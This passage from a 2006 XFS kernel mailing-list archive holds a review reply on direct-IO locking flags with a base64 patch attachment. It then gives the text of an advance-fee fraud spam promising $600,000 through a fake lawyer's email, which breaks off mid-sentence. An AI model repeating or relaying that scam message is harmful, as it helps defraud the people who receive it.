> > XFS recently changed it xfs_vm_direct_IO function to call > > blockdev_direct_IO_no_locking for reads and > > blockdev_direct_IO_own_locking > > for writes. But DIO_OWN_LOCKING is only used in the direct IO read case > > so effectively the flag is never checked an therefore can probably be > > removed. >=20 > NACK. >=20 > This breaks XFS direct writes - the DIO_OWN_LOCKING flag has meaning > for direct writes even though a simple grep doesn't give you any > hits. get_more_blocks() sets the create flag unconditionally on > writes when DIO_OWN_LOCKING is set, and this is needed for XFS to be > able to allocate underlying blocks if the direct write is over a > hole or past EOF. Arrghh you are correct! Even more reason to clean this logic up. look this version over and see what you think. comments not in final state but is describing what is being changed an why. Basically the idea is to have separate flags for locking and creation, overloading the flags meant that they were specific for XFS needs and therefore did not work for GFS. Also go to a TRUE state if flag on and a FALSE state if flag off. vs the mix of true flag (DIO_LOCKING) vs false flag (DIO_NO_LOCKING) The other option might be to have xfs pass different get_blocks functions for read and write, but that seems even more confusing based on the presence of create flag. And probably wouldn't help GFS in the long run unless it did the same=20 get_block_read/get_block_write thing. --=20 Russell Cattelan --=-6PbBLX468XE5uyKVDNAt Content-Disposition: attachment; filename=wack_own_locking Content-Transfer-Encoding: base64 Content-Type: text/x-patch; name=wack_own_locking; charset=utf-8 SW5kZXg6IHdvcmtfZ2ZzL2ZzL2RpcmVjdC1pby5jDQo9PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09DQotLS0gd29ya19nZnMub3JpZy9mcy9kaXJlY3QtaW8uYwky MDA2LTEwLTEzIDEyOjMyOjU3LjY0MTg5ODk2MyAtMDUwMA0KKysrIHdvcmtf Z2ZzL2ZzL2RpcmVjdC1pby5jCTIwMDYtMTAtMTMgMTI6MzU6NDYuMDMyMjE2 NTU1IC0wNTAwDQpAQCAtNTYsOSArNTYsNyBAQA0KICAqIGxvY2tfdHlwZSBp cyBESU9fTE9DS0lORyBmb3IgcmVndWxhciBmaWxlcyBvbiBkaXJlY3QtSU8t bmFpdmUgZmlsZXN5c3RlbXMuDQogICogVGhpcyBkZXRlcm1pbmVzIHdoZXRo ZXIgd2UgbmVlZCB0byBkbyB0aGUgZmFuY3kgbG9ja2luZyB3aGljaCBwcmV2 ZW50cw0KICAqIGRpcmVjdC1JTyBmcm9tIGJlaW5nIGFibGUgdG8gcmVhZCB1 bmluaXRpYWxpc2VkIGRpc2sgYmxvY2tzLiAgSWYgaXRzIHplcm8NCi0gKiAo YmxvY2tkZXYpIHRoaXMgbG9ja2luZyBpcyBub3QgZG9uZSwgYW5kIGlmIGl0 IGlzIERJT19PV05fTE9DS0lORyBpX211dGV4IGlzDQotICogbm90IGhlbGQg Zm9yIHRoZSBlbnRpcmUgZGlyZWN0IHdyaXRlICh0YWtlbiBicmllZmx5LCBp bml0aWFsbHksIGR1cmluZyBhDQotICogZGlyZWN0IHJlYWQgdGhvdWdoLCBi dXQgaXRzIG5ldmVyIGhlbGQgZm9yIHRoZSBkdXJhdGlvbiBvZiBhIGRpcmVj dC1JTykuDQorICogKGJsb2NrZGV2KSB0aGlzIGxvY2tpbmcgaXMgbm90IGRv bmUuDQogICovDQogDQogc3RydWN0IGRpbyB7DQpAQCAtNjcsNyArNjUsNyBA QCBzdHJ1Y3QgZGlvIHsNCiAJc3RydWN0IGlub2RlICppbm9kZTsNCiAJaW50 IHJ3Ow0KIAlsb2ZmX3QgaV9zaXplOwkJCS8qIGlfc2l6ZSB3aGVuIHN1Ym1p dHRlZCAqLw0KLQlpbnQgbG9ja190eXBlOwkJCS8qIGRvZXNuJ3QgY2hhbmdl ICovDQorCXVuc2lnbmVkIGZsYWdzOwkJCS8qIGRvZXNuJ3QgY2hhbmdlICov DQogCXVuc2lnbmVkIGJsa2JpdHM7CQkvKiBkb2Vzbid0IGNoYW5nZSAqLw0K IAl1bnNpZ25lZCBibGtmYWN0b3I7CQkvKiBXaGVuIHdlJ3JlIHVzaW5nIGFu IGFsaWdubWVudCB3aGljaA0KIAkJCQkJICAgaXMgZmluZXIgdGhhbiB0aGUg ZmlsZXN5c3RlbSdzIHNvZnQNCkBAIC0yMTksNyArMjE3LDcgQEAgc3RhdGlj IHZvaWQgZGlvX2NvbXBsZXRlKHN0cnVjdCBkaW8gKmRpbw0KIHsNCiAJaWYg KGRpby0+ZW5kX2lvICYmIGRpby0+cmVzdWx0KQ0KIAkJZGlvLT5lbmRfaW8o ZGlvLT5pb2NiLCBvZmZzZXQsIGJ5dGVzLCBkaW8tPm1hcF9iaC5iX3ByaXZh dGUpOw0KLQlpZiAoZGlvLT5sb2NrX3R5cGUgPT0gRElPX0xPQ0tJTkcpDQor CWlmIChkaW8tPmZsYWdzICYgRElPX0xPQ0tJTkcpDQogCQkvKiBsb2NrZGVw OiBub24tb3duZXIgcmVsZWFzZSAqLw0KIAkJdXBfcmVhZF9ub25fb3duZXIo JmRpby0+aW5vZGUtPmlfYWxsb2Nfc2VtKTsNCiB9DQpAQCAtNTM3LDEyICs1 MzUsMTUgQEAgc3RhdGljIGludCBnZXRfbW9yZV9ibG9ja3Moc3RydWN0IGRp byAqZA0KIAkJbWFwX2JoLT5iX3NpemUgPSBmc19jb3VudCA8PCBkaW8tPmlu b2RlLT5pX2Jsa2JpdHM7DQogDQogCQljcmVhdGUgPSBkaW8tPnJ3ICYgV1JJ VEU7DQotCQlpZiAoZGlvLT5sb2NrX3R5cGUgPT0gRElPX0xPQ0tJTkcpIHsN Ci0JCQlpZiAoZGlvLT5ibG9ja19pbl9maWxlIDwgKGlfc2l6ZV9yZWFkKGRp by0+aW5vZGUpID4+DQotCQkJCQkJCWRpby0+YmxrYml0cykpDQorCQlpZiAo IShkaW8tPmZsYWdzICYgRElPX0NSRUFURSkpIHsNCisJCQlpZiAoZGlvLT5m bGFncyAmIERJT19MT0NLSU5HKSB7DQorCQkJCWlmIChkaW8tPmJsb2NrX2lu X2ZpbGUgPCAoaV9zaXplX3JlYWQoZGlvLT5pbm9kZSkgPj4NCisJCQkJCQkJ ICBkaW8tPmJsa2JpdHMpKQ0KKwkJCQkJY3JlYXRlID0gMDsNCisJCQl9IGVs c2Ugew0KKwkJCQkvKiBsb2NrcyBub3QgaGVsZCwgYWxsb2NhdGUgb2ZmICov DQogCQkJCWNyZWF0ZSA9IDA7DQotCQl9IGVsc2UgaWYgKGRpby0+bG9ja190 eXBlID09IERJT19OT19MT0NLSU5HKSB7DQotCQkJY3JlYXRlID0gMDsNCisJ CQl9DQogCQl9DQogDQogCQkvKg0KQEAgLTEwODAsNyArMTA4MSw3IEBAIGRp cmVjdF9pb193b3JrZXIoaW50IHJ3LCBzdHJ1Y3Qga2lvY2IgKmkNCiAJICog d2UgY2FuIGxldCBpX211dGV4IGdvIG5vdyB0aGF0IGl0cyBhY2hpZXZlZCBp dHMgcHVycG9zZQ0KIAkgKiBvZiBwcm90ZWN0aW5nIHVzIGZyb20gbG9va2lu ZyB1cCB1bmluaXRpYWxpemVkIGJsb2Nrcy4NCiAJICovDQotCWlmICgocncg PT0gUkVBRCkgJiYgKGRpby0+bG9ja190eXBlID09IERJT19MT0NLSU5HKSkN CisJaWYgKChydyA9PSBSRUFEKSAmJiAoZGlvLT5mbGFncyAmIERJT19MT0NL SU5HKSkNCiAJCW11dGV4X3VubG9jaygmZGlvLT5pbm9kZS0+aV9tdXRleCk7 DQogDQogCS8qDQpAQCAtMTE1Nyw5ICsxMTU4LDExIEBAIGRpcmVjdF9pb193 b3JrZXIoaW50IHJ3LCBzdHJ1Y3Qga2lvY2IgKmkNCiANCiAvKg0KICAqIFRo aXMgaXMgYSBsaWJyYXJ5IGZ1bmN0aW9uIGZvciB1c2UgYnkgZmlsZXN5c3Rl bSBkcml2ZXJzLg0KLSAqIFRoZSBsb2NraW5nIHJ1bGVzIGFyZSBnb3Zlcm5l ZCBieSB0aGUgZGlvX2xvY2tfdHlwZSBwYXJhbWV0ZXIuDQorICogVGhlIGxv Y2tpbmcgcnVsZXMgYXJlIGdvdmVybmVkIGJ5IHRoZSBkaW9fZmxhZ3MgcGFy YW1ldGVyLg0KKyAqIChwcmV2aW91c2x5IGRpb19sb2NrX3R5cGUpDQogICoN Ci0gKiBESU9fTk9fTE9DS0lORyAobm8gbG9ja2luZywgZm9yIHJhdyBibG9j ayBkZXZpY2UgYWNjZXNzKQ0KKyAqIERJT19OT19MT0NLSU5HIGlzIG5vdyB0 aGUgTEFDSyBvZiB0aGUgRElPX0xPQ0tJTkcgZmxhZy4NCisgKiAobm8gbG9j a2luZywgZm9yIHJhdyBibG9jayBkZXZpY2UgYWNjZXNzKQ0KICAqIEZvciB3 cml0ZXMsIGlfbXV0ZXggaXMgbm90IGhlbGQgb24gZW50cnk7IGl0IGlzIG5l dmVyIHRha2VuLg0KICAqDQogICogRElPX0xPQ0tJTkcgKHNpbXBsZSBsb2Nr aW5nIGZvciByZWd1bGFyIGZpbGVzKQ0KQEAgLTExNjgsMTkgKzExNzEsMTMg QEAgZGlyZWN0X2lvX3dvcmtlcihpbnQgcncsIHN0cnVjdCBraW9jYiAqaQ0K ICAqIEZvciByZWFkcywgaV9tdXRleCBpcyBub3QgaGVsZCBvbiBlbnRyeSwg YnV0IGl0IGlzIHRha2VuIGFuZCBkcm9wcGVkIGJlZm9yZQ0KICAqIHJldHVy bmluZy4NCiAgKg0KLSAqIERJT19PV05fTE9DS0lORyAoZmlsZXN5c3RlbSBw cm92aWRlcyBzeW5jaHJvbmlzYXRpb24gYW5kIGhhbmRsaW5nIG9mDQotICoJ dW5pbml0aWFsaXNlZCBkYXRhLCBhbGxvd2luZyBwYXJhbGxlbCBkaXJlY3Qg cmVhZGVycyBhbmQgd3JpdGVycykNCi0gKiBGb3Igd3JpdGVzIHdlIGFyZSBj YWxsZWQgd2l0aG91dCBpX211dGV4LCByZXR1cm4gd2l0aG91dCBpdCwgbmV2 ZXIgdG91Y2ggaXQuDQotICogRm9yIHJlYWRzIHdlIGFyZSBjYWxsZWQgdW5k ZXIgaV9tdXRleCBhbmQgcmV0dXJuIHdpdGggaV9tdXRleCBoZWxkLCBldmVu DQotICogdGhvdWdoIGl0IG1heSBiZSBpbnRlcm5hbGx5IGRyb3BwZWQuDQot ICoNCiAgKiBBZGRpdGlvbmFsIGlfYWxsb2Nfc2VtIGxvY2tpbmcgcmVxdWly ZW1lbnRzIGRlc2NyaWJlZCBpbmxpbmUgYmVsb3cuDQogICovDQogc3NpemVf dA0KIF9fYmxvY2tkZXZfZGlyZWN0X0lPKGludCBydywgc3RydWN0IGtpb2Ni ICppb2NiLCBzdHJ1Y3QgaW5vZGUgKmlub2RlLA0KIAlzdHJ1Y3QgYmxvY2tf ZGV2aWNlICpiZGV2LCBjb25zdCBzdHJ1Y3QgaW92ZWMgKmlvdiwgbG9mZl90 IG9mZnNldCwgDQogCXVuc2lnbmVkIGxvbmcgbnJfc2VncywgZ2V0X2Jsb2Nr X3QgZ2V0X2Jsb2NrLCBkaW9faW9kb25lX3QgZW5kX2lvLA0KLQlpbnQgZGlv X2xvY2tfdHlwZSkNCisJdW5zaWduZWQgaW50IGRpb19mbGFncykNCiB7DQog CWludCBzZWc7DQogCXNpemVfdCBzaXplOw0KQEAgLTExOTEsOCArMTE4OCw2 IEBAIF9fYmxvY2tkZXZfZGlyZWN0X0lPKGludCBydywgc3RydWN0IGtpb2MN CiAJc3NpemVfdCByZXR2YWwgPSAtRUlOVkFMOw0KIAlsb2ZmX3QgZW5kID0g b2Zmc2V0Ow0KIAlzdHJ1Y3QgZGlvICpkaW87DQotCWludCByZWxlYXNlX2lf bXV0ZXggPSAwOw0KLQlpbnQgYWNxdWlyZV9pX211dGV4ID0gMDsNCiANCiAJ aWYgKHJ3ICYgV1JJVEUpDQogCQlydyA9IFdSSVRFX1NZTkM7DQpAQCAtMTIz MywzNyArMTIyOCwyNiBAQCBfX2Jsb2NrZGV2X2RpcmVjdF9JTyhpbnQgcncs IHN0cnVjdCBraW9jDQogCSAqIEZvciByZWd1bGFyIGZpbGVzIHVzaW5nIERJ T19MT0NLSU5HLA0KIAkgKglyZWFkZXJzIG5lZWQgdG8gZ3JhYiBpX211dGV4 IGFuZCBpX2FsbG9jX3NlbQ0KIAkgKgl3cml0ZXJzIG5lZWQgdG8gZ3JhYiBp X2FsbG9jX3NlbSBvbmx5IChpX211dGV4IGlzIGFscmVhZHkgaGVsZCkNCi0J ICogRm9yIHJlZ3VsYXIgZmlsZXMgdXNpbmcgRElPX09XTl9MT0NLSU5HLA0K LQkgKgluZWl0aGVyIHJlYWRlcnMgbm9yIHdyaXRlcnMgdGFrZSBhbnkgbG9j a3MgaGVyZQ0KIAkgKi8NCi0JZGlvLT5sb2NrX3R5cGUgPSBkaW9fbG9ja190 eXBlOw0KLQlpZiAoZGlvX2xvY2tfdHlwZSAhPSBESU9fTk9fTE9DS0lORykg ew0KKwlkaW8tPmZsYWdzID0gZGlvX2ZsYWdzOw0KKwlpZiAoZGlvX2ZsYWdz ICYgRElPX0xPQ0tJTkcpIHsNCiAJCS8qIHdhdGNoIG91dCBmb3IgYSAwIGxl biBpbyBmcm9tIGEgdHJpY2tzeSBmcyAqLw0KIAkJaWYgKHJ3ID09IFJFQUQg JiYgZW5kID4gb2Zmc2V0KSB7DQogCQkJc3RydWN0IGFkZHJlc3Nfc3BhY2Ug Km1hcHBpbmc7DQotDQogCQkJbWFwcGluZyA9IGlvY2ItPmtpX2ZpbHAtPmZf bWFwcGluZzsNCi0JCQlpZiAoZGlvX2xvY2tfdHlwZSAhPSBESU9fT1dOX0xP Q0tJTkcpIHsNCi0JCQkJbXV0ZXhfbG9jaygmaW5vZGUtPmlfbXV0ZXgpOw0K LQkJCQlyZWxlYXNlX2lfbXV0ZXggPSAxOw0KLQkJCX0NCisNCisJCQltdXRl eF9sb2NrKCZpbm9kZS0+aV9tdXRleCk7DQogDQogCQkJcmV0dmFsID0gZmls ZW1hcF93cml0ZV9hbmRfd2FpdF9yYW5nZShtYXBwaW5nLCBvZmZzZXQsDQog CQkJCQkJCSAgICAgIGVuZCAtIDEpOw0KIAkJCWlmIChyZXR2YWwpIHsNCisJ CQkJbXV0ZXhfdW5sb2NrKCZpbm9kZS0+aV9tdXRleCk7DQogCQkJCWtmcmVl KGRpbyk7DQogCQkJCWdvdG8gb3V0Ow0KIAkJCX0NCiANCi0JCQlpZiAoZGlv X2xvY2tfdHlwZSA9PSBESU9fT1dOX0xPQ0tJTkcpIHsNCi0JCQkJbXV0ZXhf dW5sb2NrKCZpbm9kZS0+aV9tdXRleCk7DQotCQkJCWFjcXVpcmVfaV9tdXRl eCA9IDE7DQotCQkJfQ0KLQkJfQ0KLQ0KLQkJaWYgKGRpb19sb2NrX3R5cGUg PT0gRElPX0xPQ0tJTkcpDQotCQkJLyogbG9ja2RlcDogbm90IHRoZSBvd25l ciB3aWxsIHJlbGVhc2UgaXQgKi8NCi0JCQlkb3duX3JlYWRfbm9uX293bmVy KCZpbm9kZS0+aV9hbGxvY19zZW0pOw0KKwkJfSAvKiBlbHNlIHdyaXRlICov DQorCQlkb3duX3JlYWRfbm9uX293bmVyKCZpbm9kZS0+aV9hbGxvY19zZW0p Ow0KIAl9DQogDQogCS8qDQpAQCAtMTI3OCwxNCArMTI2Miw3IEBAIF9fYmxv Y2tkZXZfZGlyZWN0X0lPKGludCBydywgc3RydWN0IGtpb2MNCiAJcmV0dmFs ID0gZGlyZWN0X2lvX3dvcmtlcihydywgaW9jYiwgaW5vZGUsIGlvdiwgb2Zm c2V0LA0KIAkJCQlucl9zZWdzLCBibGtiaXRzLCBnZXRfYmxvY2ssIGVuZF9p bywgZGlvKTsNCiANCi0JaWYgKHJ3ID09IFJFQUQgJiYgZGlvX2xvY2tfdHlw ZSA9PSBESU9fTE9DS0lORykNCi0JCXJlbGVhc2VfaV9tdXRleCA9IDA7DQot DQogb3V0Og0KLQlpZiAocmVsZWFzZV9pX211dGV4KQ0KLQkJbXV0ZXhfdW5s b2NrKCZpbm9kZS0+aV9tdXRleCk7DQotCWVsc2UgaWYgKGFjcXVpcmVfaV9t dXRleCkNCi0JCW11dGV4X2xvY2soJmlub2RlLT5pX211dGV4KTsNCiAJcmV0 dXJuIHJldHZhbDsNCiB9DQogRVhQT1JUX1NZTUJPTChfX2Jsb2NrZGV2X2Rp cmVjdF9JTyk7DQpJbmRleDogd29ya19nZnMvZnMveGZzL2xpbnV4LTIuNi94 ZnNfYW9wcy5jDQo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQotLS0gd29ya19n ZnMub3JpZy9mcy94ZnMvbGludXgtMi42L3hmc19hb3BzLmMJMjAwNi0xMC0x MyAxMjozMTo0NC43NDg5MzgzOTEgLTA1MDANCisrKyB3b3JrX2dmcy9mcy94 ZnMvbGludXgtMi42L3hmc19hb3BzLmMJMjAwNi0xMC0xMyAxMjozNTo0Ni4x NjAyMTgzNjggLTA1MDANCkBAIC0xMzg5LDE5ICsxMzg5LDE4IEBAIHhmc192 bV9kaXJlY3RfSU8oDQogDQogCWlvY2ItPnByaXZhdGUgPSB4ZnNfYWxsb2Nf aW9lbmQoaW5vZGUsIElPTUFQX1VOV1JJVFRFTik7DQogDQotCWlmIChydyA9 PSBXUklURSkgew0KLQkJcmV0ID0gYmxvY2tkZXZfZGlyZWN0X0lPX293bl9s b2NraW5nKHJ3LCBpb2NiLCBpbm9kZSwNCi0JCQlpb21hcC5pb21hcF90YXJn ZXQtPmJ0X2JkZXYsDQotCQkJaW92LCBvZmZzZXQsIG5yX3NlZ3MsDQotCQkJ eGZzX2dldF9ibG9ja3NfZGlyZWN0LA0KLQkJCXhmc19lbmRfaW9fZGlyZWN0 KTsNCi0JfSBlbHNlIHsNCi0JCXJldCA9IGJsb2NrZGV2X2RpcmVjdF9JT19u b19sb2NraW5nKHJ3LCBpb2NiLCBpbm9kZSwNCi0JCQlpb21hcC5pb21hcF90 YXJnZXQtPmJ0X2JkZXYsDQotCQkJaW92LCBvZmZzZXQsIG5yX3NlZ3MsDQot CQkJeGZzX2dldF9ibG9ja3NfZGlyZWN0LA0KLQkJCXhmc19lbmRfaW9fZGly ZWN0KTsNCi0JfQ0KKwkvKiBkaXJlY3QgSU8gaXMgY2FsbGVkIHdpdGhvdXQg dGhlIERJT19MT0NLSU5HIGZsYWcsDQorCSAqIHdoaWNoIGltcGx5IHRoZSBw cmV2aW91cyBiZWhhdmlvciBvZiB0aGUgRElPX05PX0xPQ0tJTkcNCisJICog ZmxhZy4gRElPX0NSRUFURSBub3cgc2F5cyBhbHdheXMgcGFzcyBjcmVhdGUg PSAxIHdoZW4NCisJICogZGlvLT5ydyA9PSBXUklURQ0KKwkgKi8NCisNCisJ cmV0ID0gYmxvY2tkZXZfZGlyZWN0X0lPX2ZsYWdzKHJ3LCBpb2NiLCBpbm9k ZSwNCisJCQkJICAgICAgIGlvbWFwLmlvbWFwX3RhcmdldC0+YnRfYmRldiwN CisJCQkJICAgICAgIGlvdiwgb2Zmc2V0LCBucl9zZWdzLA0KKwkJCQkgICAg ICAgeGZzX2dldF9ibG9ja3NfZGlyZWN0LA0KKwkJCQkgICAgICAgeGZzX2Vu ZF9pb19kaXJlY3QsDQorCQkJCSAgICAgICBESU9fQ1JFQVRFKTsNCiANCiAJ aWYgKHVubGlrZWx5KHJldCA8PSAwICYmIGlvY2ItPnByaXZhdGUpKQ0KIAkJ eGZzX2Rlc3Ryb3lfaW9lbmQoaW9jYi0+cHJpdmF0ZSk7DQpJbmRleDogd29y a19nZnMvaW5jbHVkZS9saW51eC9mcy5oDQo9PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09DQotLS0gd29ya19nZnMub3JpZy9pbmNsdWRlL2xpbnV4L2ZzLmgJMjAw Ni0xMC0xMyAxMjozMTo0NS41MTY5NDgzNzUgLTA1MDANCisrKyB3b3JrX2dm cy9pbmNsdWRlL2xpbnV4L2ZzLmgJMjAwNi0xMC0xMyAxMjozNTo0Ni4yMjQy MTkyNzQgLTA1MDANCkBAIC0xNzE4LDM5ICsxNzE4LDM5IEBAIHN0YXRpYyBp bmxpbmUgdm9pZCBkb19nZW5lcmljX2ZpbGVfcmVhZCgNCiBzc2l6ZV90IF9f YmxvY2tkZXZfZGlyZWN0X0lPKGludCBydywgc3RydWN0IGtpb2NiICppb2Ni LCBzdHJ1Y3QgaW5vZGUgKmlub2RlLA0KIAlzdHJ1Y3QgYmxvY2tfZGV2aWNl ICpiZGV2LCBjb25zdCBzdHJ1Y3QgaW92ZWMgKmlvdiwgbG9mZl90IG9mZnNl dCwNCiAJdW5zaWduZWQgbG9uZyBucl9zZWdzLCBnZXRfYmxvY2tfdCBnZXRf YmxvY2ssIGRpb19pb2RvbmVfdCBlbmRfaW8sDQotCWludCBsb2NrX3R5cGUp Ow0KKwl1bnNpZ25lZCBpbnQgZGlvX2ZsYWdzKTsNCiANCi1lbnVtIHsNCi0J RElPX0xPQ0tJTkcgPSAxLCAvKiBuZWVkIGxvY2tpbmcgYmV0d2VlbiBidWZm ZXJlZCBhbmQgZGlyZWN0IGFjY2VzcyAqLw0KLQlESU9fTk9fTE9DS0lORywg IC8qIGJkZXY7IG5vIGxvY2tpbmcgYXQgYWxsIGJldHdlZW4gYnVmZmVyZWQv ZGlyZWN0ICovDQotCURJT19PV05fTE9DS0lORywgLyogZmlsZXN5c3RlbSBs b2NrcyBidWZmZXJlZCBhbmQgZGlyZWN0IGludGVybmFsbHkgKi8NCi19Ow0K KyNkZWZpbmUgRElPX0xPQ0tJTkcJKDEgPDwgMCkgIC8qIG5lZWQgbG9ja2lu ZyBiZXR3ZWVuIGJ1ZmZlcmVkIGFuZCBkaXJlY3QgYWNjZXNzICovDQorI2Rl ZmluZSBESU9fQ1JFQVRFCSgxIDw8IDEpICAvKiBmaWxlIHN5c3RlbSBjYW4g YWx3YXlzIGNyZWF0ZSBuZXcgYmxvY2tzICovDQogDQogc3RhdGljIGlubGlu ZSBzc2l6ZV90IGJsb2NrZGV2X2RpcmVjdF9JTyhpbnQgcncsIHN0cnVjdCBr aW9jYiAqaW9jYiwNCiAJc3RydWN0IGlub2RlICppbm9kZSwgc3RydWN0IGJs b2NrX2RldmljZSAqYmRldiwgY29uc3Qgc3RydWN0IGlvdmVjICppb3YsDQog CWxvZmZfdCBvZmZzZXQsIHVuc2lnbmVkIGxvbmcgbnJfc2VncywgZ2V0X2Js b2NrX3QgZ2V0X2Jsb2NrLA0KIAlkaW9faW9kb25lX3QgZW5kX2lvKQ0KIHsN CisJLyogbG9ja2luZyBpcyBvbiwgY3JlYXRlIGlzIGNvbmR0aW9uYWwgKi8N CiAJcmV0dXJuIF9fYmxvY2tkZXZfZGlyZWN0X0lPKHJ3LCBpb2NiLCBpbm9k ZSwgYmRldiwgaW92LCBvZmZzZXQsDQogCQkJCW5yX3NlZ3MsIGdldF9ibG9j aywgZW5kX2lvLCBESU9fTE9DS0lORyk7DQogfQ0KIA0KLXN0YXRpYyBpbmxp bmUgc3NpemVfdCBibG9ja2Rldl9kaXJlY3RfSU9fbm9fbG9ja2luZyhpbnQg cncsIHN0cnVjdCBraW9jYiAqaW9jYiwNCitzdGF0aWMgaW5saW5lIHNzaXpl X3QgYmxvY2tkZXZfZGlyZWN0X0lPX2ZsYWdzKGludCBydywgc3RydWN0IGtp b2NiICppb2NiLA0KIAlzdHJ1Y3QgaW5vZGUgKmlub2RlLCBzdHJ1Y3QgYmxv Y2tfZGV2aWNlICpiZGV2LCBjb25zdCBzdHJ1Y3QgaW92ZWMgKmlvdiwNCiAJ bG9mZl90IG9mZnNldCwgdW5zaWduZWQgbG9uZyBucl9zZWdzLCBnZXRfYmxv Y2tfdCBnZXRfYmxvY2ssDQotCWRpb19pb2RvbmVfdCBlbmRfaW8pDQorCWRp b19pb2RvbmVfdCBlbmRfaW8sIHVuc2lnbmVkIGludCBmbGFncykNCiB7DQor CS8qIGZpbGUgc3lzdGVtIGRpY3RhdGVzIGxvY2tpbmcgYW5kIGNyZWF0ZSBi ZWhhdmlvciAqLw0KIAlyZXR1cm4gX19ibG9ja2Rldl9kaXJlY3RfSU8ocncs IGlvY2IsIGlub2RlLCBiZGV2LCBpb3YsIG9mZnNldCwNCi0JCQkJbnJfc2Vn cywgZ2V0X2Jsb2NrLCBlbmRfaW8sIERJT19OT19MT0NLSU5HKTsNCisJCQkJ bnJfc2VncywgZ2V0X2Jsb2NrLCBlbmRfaW8sIGZsYWdzKTsNCiB9DQogDQot c3RhdGljIGlubGluZSBzc2l6ZV90IGJsb2NrZGV2X2RpcmVjdF9JT19vd25f bG9ja2luZyhpbnQgcncsIHN0cnVjdCBraW9jYiAqaW9jYiwNCitzdGF0aWMg aW5saW5lIHNzaXplX3QgYmxvY2tkZXZfZGlyZWN0X0lPX25vX2xvY2tpbmco aW50IHJ3LCBzdHJ1Y3Qga2lvY2IgKmlvY2IsDQogCXN0cnVjdCBpbm9kZSAq aW5vZGUsIHN0cnVjdCBibG9ja19kZXZpY2UgKmJkZXYsIGNvbnN0IHN0cnVj dCBpb3ZlYyAqaW92LA0KIAlsb2ZmX3Qgb2Zmc2V0LCB1bnNpZ25lZCBsb25n IG5yX3NlZ3MsIGdldF9ibG9ja190IGdldF9ibG9jaywNCiAJZGlvX2lvZG9u ZV90IGVuZF9pbykNCiB7DQorCS8qIGxvY2tpbmcgaXMgb2ZmLCBjcmVhdGUg aXMgb2ZmICovDQogCXJldHVybiBfX2Jsb2NrZGV2X2RpcmVjdF9JTyhydywg aW9jYiwgaW5vZGUsIGJkZXYsIGlvdiwgb2Zmc2V0LA0KLQkJCQlucl9zZWdz LCBnZXRfYmxvY2ssIGVuZF9pbywgRElPX09XTl9MT0NLSU5HKTsNCisJCQkJ bnJfc2VncywgZ2V0X2Jsb2NrLCBlbmRfaW8sIDApOw0KIH0NCiANCiBleHRl cm4gY29uc3Qgc3RydWN0IGZpbGVfb3BlcmF0aW9ucyBnZW5lcmljX3JvX2Zv cHM7DQo= --=-6PbBLX468XE5uyKVDNAt-- --=-seLdWd8T+3VyQ07rn5QR Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.5 (GNU/Linux) iD8DBQBFL9ZdNRmM+OaGhBgRAvbTAJ9wuLgFYX4HFtahRDgL80Vzk5BkYACfYyw0 iSvX4cEyAshBI6tHiPNI+bA= =V+ON -----END PGP SIGNATURE----- --=-seLdWd8T+3VyQ07rn5QR-- From owner-xfs@oss.sgi.com Fri Oct 13 12:24:20 2006 Received: with ECARTIS (v1.0.0; list xfs); Fri, 13 Oct 2006 12:24:33 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9DJOJaG021652 for ; Fri, 13 Oct 2006 12:24:20 -0700 X-ASG-Debug-ID: 1160763471-13081-639-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from vs4002.areaserver.it (unknown [80.241.173.254]) by cuda.sgi.com (Spam Firewall) with ESMTP id C1CE3D196527 for ; Fri, 13 Oct 2006 11:17:52 -0700 (PDT) Received: (from web@localhost) by vs4002.areaserver.it (8.12.11.20060308/8.12.10) id k9DIHooa009418; Fri, 13 Oct 2006 20:17:50 +0200 Date: Fri, 13 Oct 2006 20:17:50 +0200 Message-Id: <200610131817.k9DIHooa009418@vs4002.areaserver.it> To: linux-xfs@oss.sgi.com X-ASG-Orig-Subj: URGENT COMPENSATION FOR YOUR PAST EFFORTS Subject: URGENT COMPENSATION FOR YOUR PAST EFFORTS From: Kelly Trotter Reply-To: kellytrotter@katamail.com MIME-Version: 1.0 Content-Type: text/plain Content-Transfer-Encoding: 8bit X-Barracuda-Spam-Score: 1.04 X-Barracuda-Spam-Status: No, SCORE=1.04 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=ADVANCE_FEE_1, UPPERCASE_75_100 X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23193 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 1.04 UPPERCASE_75_100 message body is 75-100% uppercase 0.00 ADVANCE_FEE_1 Appears to be advance fee fraud (Nigerian 419) X-archive-position: 9285 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: kellytrotter@katamail.com Precedence: bulk X-list: xfs Status: O DEAR FRIEND CONGRATULATIONS. I'M HAPPY TO INFORM YOU ABOUT MY SUCCESS IN GETTING THOSE FUNDS TRANSFERRED UNDER THE CO-OPERATION OF A NEW PARTNER FROM PARAGUAY. PRESENTLY I'M IN PARAGUAY BUT BY NEXT WEEK I WILL BE IN CHINA FOR INVESTMENT PROJECTS WITH MY OWN SHARE OF THE TOTAL SUM. MEANWHILE,I DIDN'T FORGET YOUR PAST EFFORTS AND ATTEMPTS TO ASSIST ME IN TRANSFERRING THOSE FUNDS DESPITE THAT IT FAILED US SOME HOW. NOW CONTACT MY LAWYER, HIS NAME IS GEORGE EMMANUEL ON HIS E-MAIL ADDRESSS: barrigeorge2@ummah.org ASK HIM TO SEND YOU THE TOTAL SUM OF $600.000.00 WHICH I KEPT FOR YOUR COMPENSATION FOR ALL THE PAST EFFORTS AND ATTEMPTS TO ASSIST ME IN THIS MATTER. I APPRECIATED YOUR EFFORTS AT THAT TIME VERY MUCH. SO FEEL FREE AND GET IN TOUCH WITH MY LAWYER AND INSTRUCT HIM WHERE TO SEND THE AMOUNT TO 